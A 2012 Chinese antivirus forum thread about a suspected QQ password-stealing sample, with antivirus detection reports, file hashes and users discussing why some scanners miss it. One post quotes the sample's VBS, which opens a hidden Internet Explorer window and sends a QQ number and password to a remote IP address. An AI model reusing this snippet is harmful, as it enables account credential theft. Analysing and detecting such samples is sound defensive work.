疑似QQ盗号

显示全部楼层 · 发表于 2012-12-25 12:42:24

A+B未报

显示全部楼层 · 发表于 2012-12-25 12:57:55

显示全部楼层 · 发表于 2012-12-25 13:17:29

humanlwj52 发表于 2012-12-25 11:11
IKARUS

File scanned: - SIGNATURE FOUND "Virus.Win32.OnLineGames"

网站上ESET报了啊
https://www.virustotal.com/file/ ... nalysis/1356411945/

显示全部楼层 · 发表于 2012-12-25 15:42:41

执行vbs

set ie=createobject("internetexplorer.application")
ie.visible=FALSE
ie.navigate("http://192.210.51.245/f196wqter/find.asp?QQNumber=1143142000&QQPassWord=00000000")
do until ie.readystate=4
loop
set ie=nothing

复制代码

显示全部楼层 · 发表于 2012-12-25 16:13:25

过江民扫描上报!

显示全部楼层 · 发表于 2012-12-25 17:19:29

v6又给力一把：

显示全部楼层 · 发表于 2012-12-25 17:41:16

完整路径: 不可用
威胁: SONAR.Heuristic
____________________________
____________________________

在电脑上的创建时间
2012/12/25 ( 17:38:33 )

上次使用时间
2012/12/25 ( 17:38:33 )

启动项目
否

已启动
是

____________________________
____________________________
极少用户信任的文件
诺顿社区中有不到 5 名用户使用了此文件。
____________________________
极新的文件
该文件已在不到 1 周前发行。
____________________________
高
此文件具有高风险。
____________________________
威胁详细信息
SONAR 主动防护监视电脑上的可疑程序活动。
____________________________

file origin tree



winrar.exe

2552像‘片.exe

____________________________
文件操作
2552像‘片.exe
已删除
2552像‘片.exe
不需要操作
____________________________
系统设置操作
未采取操作
2552像‘片.exe
未采取操作
____________________________
可疑操作
未采取操作

平均资源使用率:
低

平均CPU 使用率:
低

平均内存使用率:
低

____________________________
文件指纹 - SHA:
2d94e67b1d5dede6877bb2d114c61486dd2b3a2948dfc67a528da63cfc256b5f
____________________________
文件指纹 - MD5:
96e37b50d4ece7393e567e0bf32852a0
____________________________

显示全部楼层 · 发表于 2012-12-25 17:53:38

过卡巴和360.

显示全部楼层 · 发表于 2012-12-25 18:46:46

zmzcy 发表于 2012-12-25 17:41
完整路径: 不可用
威胁: SONAR.Heuristic
____________________________

为什么我的诺顿360SONAR没报呢？假的QQ弹窗也冒出来了？这是怎么回事呢？

显示全部楼层 · 发表于 2012-12-25 18:48:09

杀软神马发表于 2012-12-25 18:46
为什么我的诺顿360SONAR没报呢？假的QQ弹窗也冒出来了？这是怎么回事呢？

你sonar开主动模式了吗？

[可疑文件] 疑似QQ盗号

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块